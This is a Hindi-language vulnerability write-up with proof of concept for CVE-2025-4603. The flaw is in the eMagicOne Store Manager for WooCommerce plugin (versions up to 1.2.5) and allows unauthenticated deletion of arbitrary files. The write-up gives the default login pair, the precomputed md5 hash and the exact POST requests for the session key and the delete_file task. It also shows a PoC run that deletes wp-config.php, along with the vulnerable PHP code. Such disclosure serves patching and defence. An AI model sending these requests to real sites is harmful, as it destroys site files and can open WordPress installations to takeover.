
eMagicOne Store Manager for WooCommerce <= 1.2.5 - अनधिकृत मनमाना फ़ाइल विलोपन
eMagicOne Store Manager for WooCommerce प्लगइन एक रिमोट प्रबंधन प्रोटोकॉल एंडपॉइंट (?connector=bridge) को उजागर करता है जो सर्वर पर फ़ाइल हटाने के संचालन की अनुमति देता है। प्रमाणीकरण तंत्र एक डिफ़ॉल्ट क्रेडेंशियल जोड़ी (login=1, password=1) और एक सत्र कुंजी प्रणाली पर निर्भर करता है। यदि डिफ़ॉल्ट क्रेडेंशियल्स नहीं बदले जाते हैं, तो एक हमलावर आसानी से प्रमाणित हो सकता है, एक सत्र कुंजी प्राप्त कर सकता है, और WordPress रूट या किसी भी सुलभ निर्देशिका से मनमानी फ़ाइलों को हटा सकता है।
एक POC CVE-2025-4603.py प्रदान किया गया है जो एक हमलावर द्वारा wp-config.php को हटाने का प्रदर्शन करता है।
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
प्लगइन सक्रियण पर, smconnector.php में निम्नलिखित स्थिरांक सेट किए जाते हैं:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
प्रमाणीकरण के लिए उपयोग किया जाने वाला डिफ़ॉल्ट हैश है:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
परिणाम: डिफ़ॉल्ट हैश md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b है।
एक सत्र कुंजी ब्रिज एंडपॉइंट पर हैश और एक कार्य (जैसे, get_version) के साथ POST अनुरोध भेजकर प्राप्त की जाती है:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (पंक्तियाँ ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... सत्र कुंजी सत्यापन ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... त्रुटि ...
}
$key = $this->generate_session_key( $hash );
// ... सत्र कुंजी वापस करें ...
}
}
सत्र कुंजी wp_smconnector_session_keys तालिका में संग्रहीत की जाती है:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
मान्य सत्र कुंजी के साथ, एक हमलावर delete_file कार्य का उपयोग करके फ़ाइल हटा सकता है:
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (पंक्तियाँ ~2167+):
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
class-emosmcwoocommerceoverrider.php में फ़ाइल हटाना (पंक्तियाँ ~380+)::
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
परिणाम: फ़ाइल सर्वर से हटा दी जाती है।